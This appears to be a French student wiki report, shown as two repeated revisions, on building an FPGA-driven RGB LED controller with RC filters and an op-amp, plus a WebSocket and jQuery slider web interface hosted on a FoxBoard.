Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.

== Partie informatique ==

Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme.
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED.
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.

Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.

= Deuxième séance =
== Partie électronique ==

=== Montage ===
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]]
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]

=== Programme ===
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]

== Partie informatique ==

Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille.

Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message.

[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]

Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.

[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]]
[[Fichier:photoled.JPG|450px|thumb|center|Photo de la LED avec le code couleur ci-dessus]]

= Troisième séance =
== Partie électronique ==

=== Montage ===
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type:
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]

avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :

<math>Vs= Ve * (1+ \frac{R1}{R2})</math>.

Ainsi il faut prendre 2 résistances R1 et R2 identiques.
Notre montage est donc simplifié.

[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]

Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]

=== Programme ===
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.

[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]

Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]

Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur.
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]

Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds.

[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]

Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait "retarder" l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]

Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]

== Partie informatique ==

Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard.

===Prise en main :===

Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.

===Installation :===

Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un "&" pour qu'il s'exécute en continu.

On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.

Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]
Ainsi que les codes : [[Fichier:ProjetSC.zip]]

= Séances supplémentaires =

N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le "DIGITAL I/O" car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.

Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme "clock fpga". En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière.

Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.

Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande.

Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.

Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.

Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.

(A compléter ...)

[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]

Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]

= Conclusion =
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.

Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.

La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.

La partie électronique fut elle aussi variée et compliquée. Nous avons eu du mal à réellement cerner le problème lors de la première séance, ce qui nous a fait perdre du temps que nous avons rattrapé par la suite, afin de pouvoir terminer le projet et lier les deux parties grâce à plusieurs heures supplémentaires. Cette partie fut assez compliquée notamment à cause des différentes valeurs qu'il fallait utiliser. Il fallait en effet gérer les différentes LEDs parfois différemment. Nous devions aussi essayer de rendre le schéma le plus fonctionnel et simple possible afin d'améliorer la transmission des données.

Ce projet nous a ainsi permis de nous familiariser avec différents logiciels et langages de programmation. Nous avons pu rassembler les deux parties qui étaient fonctionnelles individuellement et réussi à les rendre fonctionnelles ensemble.

Bien que le temps initial consacré au projet était assez court (12 h), nous avons réussi à répondre au cahier des charges initial. Avec quelques heures supplémentaires, nous aurions peut-être pu ajouter quelques fonctionnalités à notre projet, tel que le choix du clignotement ou non, en plus de la fréquence à régler. Nous aurions aussi peut-être pu imaginer un mode automatique, c'est à dire un mode qui aurait pu parcourir toutes les couleurs puis modifier automatiquement le clignotement.

Nous remercions bien sûr les professeurs pour leur aide, leurs conseils et leur encadrement.

Gestion de LED RVB, 2014/2015, TD2

2015-04-16T13:32:02Z

Smaia : /* Installation : */

= Objectifs =

Ce projet SC a pour objectif de réaliser un circuit de contrôle d'une LED 256 couleurs ainsi qu'une interface WEB permettant de faire varier sa couleur. Il se décompose donc en deux parties :

*partie informatique : il s'agit d'une interface Web composée de 4 sliders, 3 pour les couleurs et un pour la vitesse de clignotement. Les informations des sliders sont converties dans le Websocket puis stockées sur la FoxBoard.

*partie électronique : il s'agit de générer trois signaux simulant les informations envoyées par le site Web; ces signaux sont convertis puis moyennés et permettent de gérer l'allumage de la LED RVB.

= Première séance =
== Partie électronique ==
Au cours de cette séance, nous avons tout d'abord appréhendé le sujet. Puis nous avons réalisé le tutoriel pour la prise en main du logiciel Altium Designer et la Nanoboard.
Suite à cela, nous avons commencé à réaliser le schéma du montage.
[[Fichier:Filtre_RC.png|250px|thumb|left|Schéma Filtre RC]]

Nous savions que nous devions utiliser un filtre passe bas, nous avons donc opté pour un filtre RC d'ordre 1.
Pour connaître les valeurs de la résistance et de la capacité qu'il faut utiliser, nous avons fait un simple calcul afin d'obtenir une bande passante d'environ 15 Hz. Ainsi nous avons choisi une résistance de 1KΩ et une capacité d'environ 10µF.
Ce filtre va donc nous permettre de ne prendre en compte que les fréquences basses et au vu des valeurs choisies, nous n'aurons qu'une faible variation de fréquence.

[[Fichier:Ebauche_prg.png|300px|thumb|right|Ebauche programme de contrôle]]

Pour le schéma de construction du programme, nous avons réfléchi sur la meilleure manière de pouvoir lire les valeurs stockées en mémoire. Nous avons ainsi utilisé un multiplexeur qui, selon un code émis, va envoyer ce signal d'entrée vers une de ses sorties. Pour générer ce code, nous nous sommes servi d'un compteur modulo 3 car nous n'allons nous servir que de 3 des 4 sorties du multiplexeur.

Nous avons aussi essayé de traduire au mieux l'énoncé, nous avons donc défini le rapport cyclique comme étant la durée du temps "haut" divisée par la période T. Savoir cela va nous permettre de savoir ce que nous devrons modifier.

Nous avons aussi étudié la LED RVB et nous avons ainsi pu voir qu'elle était composée de 6 branches : 4 anodes et 2 cathodes, ce qui représente 2 LEDs bleues, une rouge et une verte. Nous avons aussi vu que le courant passant dans la LED ne devait pas excéder 10 mA, ce qui correspond à une tension d'entrée de la LED de 4V.

== Partie informatique ==

Nous avons appris à configurer le port série avec une application codée en langage C, qui a été modifiée afin d’envoyer 3 entiers au lieu de 8. Nous avons ensuite allumé une LED placée sur une carte Arduino, reliée au port série de l'ordinateur en modifiant directement les valeurs initialisées dans le programme.
Puis nous avons fait la liaison entre un serveur Websocket ainsi qu'une application répondant au Websocket, permettant l'écriture sur le port série afin de pouvoir modifier la couleur de la LED.
Un serveur Websocket permet de lire ou d'envoyer des données entre un navigateur et une application distante. Dans notre cas, il nous faut récupérer des entiers correspondant au code couleur Rouge Vert Bleu de la LED branchée à l'Arduino pour lui envoyer. Le serveur va donc tourner en continu en attendant qu'on lui envoie des caractères qu'il va convertir en entiers. La récupération des caractères est réalisée grâce à la fonction 'sscanf', la conversion de ces derniers en entiers et l'envoi vers l'application est, elle, réalisée par la fonction 'write'.

Nous avons finalement mis en place une page Web afin de pouvoir y entrer 3 caractères tapés au clavier, correspondant au code couleur RVB. La WebSocket permettant la liaison entre la page web et l'application réalisant l'écriture sur le port série, nous avons donc rendu possible la modification des couleurs de la LED à partir de la page WEB.

= Deuxième séance =
== Partie électronique ==

=== Montage ===
Durant cette séance, nous avons décidé de perfectionner notre montage car nous avions oublié une chose importante lors de la séance précédente : les différentes LEDs n'ont pas toutes la même tension de seuil, en effet les LEDs bleues ont une tension de seuil de 4V environ, la LED rouge en a une de 2V, de même que la LED verte.
Il fallait donc modifier notre montage afin de ne pas prendre le risque de griller une LED.
Nous savions aussi que la tension délivrée par la Nanoboard est de 3,3V, il fallait donc amplifier cette valeur pour les LEDs bleues, et la diminuer pour les LEDs rouge et verte.
Pour cela nous avons décidé d'utiliser un diviseur de tension afin d'obtenir une tension maximale de 2V. Ainsi nous avons utilisé 2 résistances: une de 200Ω et une autre de 330Ω.
[[Fichier:Diviseur_de_tension.jpg|200px|thumb|center|Diviseur de tension]]
Nous avons ensuite réalisé un montage nous permettant d'amplifier la valeur de la tension de sortie de la Nanoboard afin de la faire atteindre 4V. Pour cela, nous avons utilisé un amplificateur opérationnel ainsi que deux résistances: une de 1kΩ et une autre de 1,2kΩ. Ainsi la tension maximale délivrée est de 4V.
[[Fichier:ampliOp.jpg|200px|thumb|center|AOP non-inverseur]]
Enfin, nous devions relier la sortie de la Nanoboard au filtre passe-bas déjà réalisé, puis il fallait relier la sortie de ce filtre aux différentes parties du montage. Chaque montage correspondait à une paire de LEDs: le diviseur de tension pour les LEDs rouge et verte et l'amplificateur opérationnel pour les LEDs bleues.
[[Fichier:montageled.jpg|200px|thumb|center|Montage final]]

=== Programme ===
Concernant le programme, nous avons suivi le schéma que nous avions réalisé lors de la séance précédente tout en l'améliorant. Nous avons donc, comme prévu, utilisé un multiplexeur, contrôlé par un compteur modulo 3, afin de stocker les valeurs des 8 bits de commandes dans 3 bascules D, une pour chaque couleur. Nous avons ensuite utilisé un autre compteur pour chaque bascule ainsi qu'un comparateur. Chaque compteur va ainsi compter de 0 à 255 (pour les 256 couleurs) et le comparateur pourra nous permettre de savoir si la valeur est maximale ou non. En effet, si le compteur a une valeur supérieure ou égale à la valeur stockée en mémoire, le comparateur renverra 1, sinon il renverra 0. Ainsi nous aurons 3 sorties qui vont nous permettre de modifier le rapport cyclique des signaux sans pour autant modifier les fréquences qui restent constantes.
[[Fichier:ProgLed.png|1000px|thumb|center|Premier programme de contrôle]]

== Partie informatique ==

Pour cette deuxième séance, nous avons étudié le langage javascript afin de réaliser les curseurs de couleur sur la page WEB de l'application.
Nous avons utilisé la bibliothèque javascript : [https://jquery.com/ '''jQuery''']. Nous avons réadapté un exemple de 3 sliders contrôlant des paramètres de couleur RVB, selon nos besoins, en modifiant le sens et la taille.

Ensuite, nous sommes passés à la liaison avec le WebSocket. On a alors récupéré la partie de code réalisée lors de la [[#Partie informatique|première séance]] correspondant à la partie réseau pour l'insérer au code des sliders de couleur. Les sliders permettent d'envoyer des caractères, il y a donc nécessité de convertir ces données en entier pour permettre à la LED de s'allumer et de changer de couleurs. Cette conversion se fait dans la code de la Websocket, ainsi elle est réalisée après réception du message.

[[Fichier:SchémaLiaison.png|700px|thumb|left| Schéma de liaison des fichiers]] [[Fichier:blanc.png|270px]]

Nous avons alors procédé au test qui s'est montré concluant. Vient alors la dernière partie qui est celle de l'ajout d'un slider correspondant au clignotement de la diode. Pour ce faire, nous avons utilisé la fonction 'setTimeout' qui permet de réaliser une fonction pendant un temps donné (ce sera notre durée de clignotement, donc le paramètres de notre 4ème slider). Après écriture de la fonction 'clignotement' et test de cette dernière, on a pu constater que la diode clignotait bien à une vitesse réglable sur la page web.

[[Fichier:Curseurs1.png|450px|thumb|center|Page Web - Curseurs]]
[[Fichier:photoled.JPG|450px|thumb|center|Photo de la LED avec le code couleur ci-dessus]]

= Troisième séance =
== Partie électronique ==

=== Montage ===
Lors de cette séance, nous avons commencé par mesurer la fréquence de sortie de la NanoBoard grâce à un oscilloscope et nous obtenons une fréquence de 390 Hz avec une tension de 3,3V.
Grâce à cette valeur, nous avons ainsi pu simplifier notre montage précédent, la sortie de notre filtre n'étant pas de 3,3V mais de 2V, nous n'avions plus besoin d'utiliser un montage diviseur de tension pour brancher les LEDs rouge et verte. Cependant, il fallait encore vérifier le montage amplificateur de signal pour obtenir une valeur de tension de 4V puis relier la sortie de ce montage aux LEDs bleues. Nous devions donc faire un montage à amplification opérationnel non-inverseur afin que la tension de sortie soit toujours positive. Nous avons donc un schéma de ce type:
[[Fichier:AmpliOpnninverseur.png|300px|thumb|center|Schéma amplificateur opérationnel non-inverseur]]

avec des valeurs des résistances qui nous permettent d'avoir un rapport de 2 en sortie de l'amplificateur opérationnel. La formule est donc :

<math>Vs= Ve * (1+ \frac{R1}{R2})</math>.

Ainsi il faut prendre 2 résistances R1 et R2 identiques.
Notre montage est donc simplifié.

[[Fichier:ampliOPni.JPG|250px|thumb|center|Montage amplificateur]]

Nous avons ensuite essayé d'utiliser un seul circuit pour contrôler les différentes LEDs, or nous avons vu que cela était impossible, il fallait donc 3 filtres RC et un amplificateur opérationnel non inverseur à ajouter pour les LEDs bleues. Nous nous sommes rendus compte que l'intensité parcourant les LEDs rouge et verte n'était pas assez élevée, nous avons donc diminué la valeur de la résistance du filtre et augmenté celle du condensateur. Nous avons choisi R = 100Ω et C = 100µF. Nous conservons donc une bande passante de 15 Hz.
[[Fichier:MontageLed complet.JPG|400px|thumb|center|Nouveau montage fonctionnel]]

=== Programme ===
Nous avons aussi testé chaque partie de notre programme principal afin de déceler une possible erreur. Nous avons vu qu'il était impossible que le compteur modulo 3 que nous avions placé au début du montage soit directement lié au bit d'autorisation que nous avons placé en entrée. Nous avons donc utilisé une horloge que nous lions au bit d'entrée par une porte ET logique. Nous avons aussi abandonné l'idée de lier le reset du compteur à ses sorties.

[[Fichier:PROG2.0.png|600px|thumb|center|Nouveau programme]]

Nous avons ainsi visualisé que plus la commande envoyée était grande, plus le rapport cyclique était important. [[Fichier:rapportcyclique.JPG|250px|center|thumb| Rapport cyclique pour une donnée d'entrée de : 1011 1001 à une fréquence de 100kHz]]

Nous avons ensuite créé un autre programme nous permettant de faire s'allumer les 3 couleurs en envoyant 3 signaux en entrée, nous avons donc enlevé le multiplexeur.
[[Fichier:Testallumage.png|700px|thumb|center|Programme de test d'allumage des Leds]]

Ainsi, nous arrivions pour une fréquence fixée par la clock à 100kHz et des données de commandes différentes à faire s'allumer les 4 leds.

[[Fichier:Blanc.png|260px]] [[Fichier:AllumageLED.jpg|250px]] [[Fichier:Blanc.png|30px]] [[Fichier:Ledallumee.jpg|330px]]

Suite à ce test réussi, nous avons décidé d'utiliser notre programme principal afin qu'il puisse gérer les 3 couleurs selon la donnée de commande envoyée.
Nous nous sommes aperçus que le compteur modulo 3 à l'entrée de notre programme posait un problème car il ne se réinitialisait pas au bon moment, la clock que nous utilisions ne nous permettait pas un fonctionnement optimal. Nous avons donc de nouveau branché le bit d'autorisation au compteur. De plus il y avait aussi le problème de la transmission de l'autorisation de lecture aux bascules à partir de l'autorisation d'entrée, il fallait en effet gérer le multiplexeur pour qu'il n'envoie pas l'information deux fois à la même bascule et il fallait "retarder" l'autorisation pour que l'on puisse lire ce qu'il y avait dans le registre après que l'information a été transmise.
Nous avons donc utilisé une porte ET logique et des inverseurs selon les commandes: il fallait autoriser la lecture du premier registre avant qu'il y ait une modification donc, quand les bits de sortie du compteur modulo 3 était: S0 S1: 0 0, nous pouvions lire ce qui était enregistré dans le premier registre. Il fallait donc un décalage de -1 entre les autorisations de lecture et la sélection par le multiplexeur.
[[Fichier:Programmefonctionnelfinal.png|1000px|thumb|center|Programme final de contrôle de la LED RVB]]

Nous pouvons ainsi tester notre programme pour vérifier s'il allume bien chaque LED sans en éteindre une autre à chaque fois que l'on envoie une nouvelle donnée. Voici une vidéo d'un test réalisé : [[Fichier:Testfinal.mp4]]

== Partie informatique ==

Lors de cette dernière séance, furent réalisées la prise en main et l'installation de la FoxBoard.

===Prise en main :===

Pour pouvoir importer notre programme et faire fonctionner notre Page Web dans la FoxBoard, il faut que cette dernière puisse communiquer avec notre ordinateur mais également avec le réseaux de l'école afin d'installer les librairies nécessaires à ce projet. On va pour cela changer la configuration Ethernet de la FoxBoard avec l'adresse IP de notre machine fixe. Nous pouvons donc maintenant nous connecter à la FoxBoard à partir de notre ordinateur fixe.

===Installation :===

Le problème ensuite fut d'installer une librairie Websocket stable pour la Foxboard, en allant chercher dans des versions antérieurs. Il faut donc dire à la Foxboard d'aller chercher les paquets sur une autre version. Après cette installation, il faut importer tous les fichiers nécessaires pour le programme de la Websocket, ensuite les recompiler à partir de la FoxBoard, écrire le lien du programme compilé dans le /etc/rc.local pour qu'il s’exécute au démarrage, et lui rajouter un "&" pour qu'il s'exécute en continu.

On place ensuite dans le fichier /var/www/LED de la FoxBoard la page du site en HTML ainsi que les librairies 'javascript' et 'css' nécessaires à cette dernière. Grâce à cela nous pouvons accéder à notre page Web à partir de n'importe quel ordinateur relié au réseau sur son navigateur : [http://172.26.79.1/LED/essai.html Notre Page (nécessite que la FoxBoard soit connectée et branchée à une LED en sortie)]Pour faire fonctionner le programme, il faut que la FoxBoard soit bien reliée au réseau de l'école et lui faire faire un reboot au préalable.

Voici le test final de la partie informatique : [[Fichier:IMG_1824.mp4]]:
Ainsi que les codes : [[Fichier:ProjetSC.zip]]

= Séances supplémentaires =

N'ayant pas pu réunir les deux parties lors d'une des séances précédentes, nous avons pris plusieurs heures pour essayer d'y parvenir.
Il fallait relier la FoxBard à la NanoBoard, pour cela nous devions utiliser une liaison série. Il fallait seulement utiliser la réception série.
Pour cela, nous devions modifier notre schéma logique. Il ne fallait plus utiliser d'entrée avec le "DIGITAL I/O" car les 8 bits de commande seront envoyés directement par la FoxBoard sur la NanoBoard et le bit d'autorisation de lecture sera aussi généré par la liaison série.

Il fallait de plus relier la liaison série en réception et il fallait aussi utiliser l'horloge déjà existante pour la relier à l'entrée de la liaison série comme "clock fpga". En effet, la liaison envoie des données bit par bit, il fallait donc utiliser l'horloge pour envoyer la commande entière.

Nous avons ainsi simplement fait ces modifications mais nous avons été surpris lorsque nous avons vu des erreurs de compilation sur une horloge qui n'était apparemment pas dans notre schéma.

Nous avons donc fait des tests sur la liaison série car notre schéma fonctionnait très bien avec l'entrée manuelle que nous avions remplacée par la liaison série. Nous avons visualisé l'entrée et la sortie de la liaison série et, bien que l'entrée change lorsque nous envoyons des informations différentes à partir du site Web, la sortie reste nulle, aussi bien le bit d'autorisation que les bits de commande.

Il y a donc quelque chose qui ne fonctionne pas dans la sortie de la liaison série.

Nous avons ensuite pris quelques heures supplémentaires pour nous concentrer sur ce problème, nous avons pensé qu'il pouvait aussi venir de l'entrée de la liaison série car si la sortie était nulle, cela pouvait aussi être un problème avec ce qu'elle recevait.

Nous avons donc eu l'idée d'inverser le signal d'entrée afin de ne pas le définir comme une horloge. Bien que l'erreur initiale ne soit plus là, il y en avait une autre qui nous disait que la sortie RX ne pouvait pas être seulement inversée lorsqu'elle arrivait à la liaison série.

(A compléter ...)

[[Fichier:Finliaisonsérie2.PNG|850px|thumb|center|Schéma fonctionnel comportant la réception série]]

Nous avons ainsi effectué un test. [[Fichier:Ledfin.mp4]]

= Conclusion =
Ce projet a été l'occasion pour nous de voir un peu tous les aspects de la formation SC (en informatique : réseau, développement web, programmation - en électronique : circuits, FPGA). Il a donc été très enrichissant. Il nous a aussi permis de mettre en application certaines notions que nous avions vu au semestre précédent aussi bien en logique, en électronique qu'en informatique.

Il nous a aussi permis de nous tester : autant au niveau des compétences techniques que nous devons avoir mais aussi au niveau de l'autonomie de travail.

La partie informatique fut plutôt variée avec la manipulation de différents langages de programmation tel que HTML5, CSS, ou encore le JavaScript, même s'il y avait encore du C, la véritable nouveauté était la manipulation du Websocket.
Malgré les difficultés de manipulation et d'apprentissage de ces langages, nous avons été en mesure de créer une application Web nous permettant de répondre aux besoins du projet.

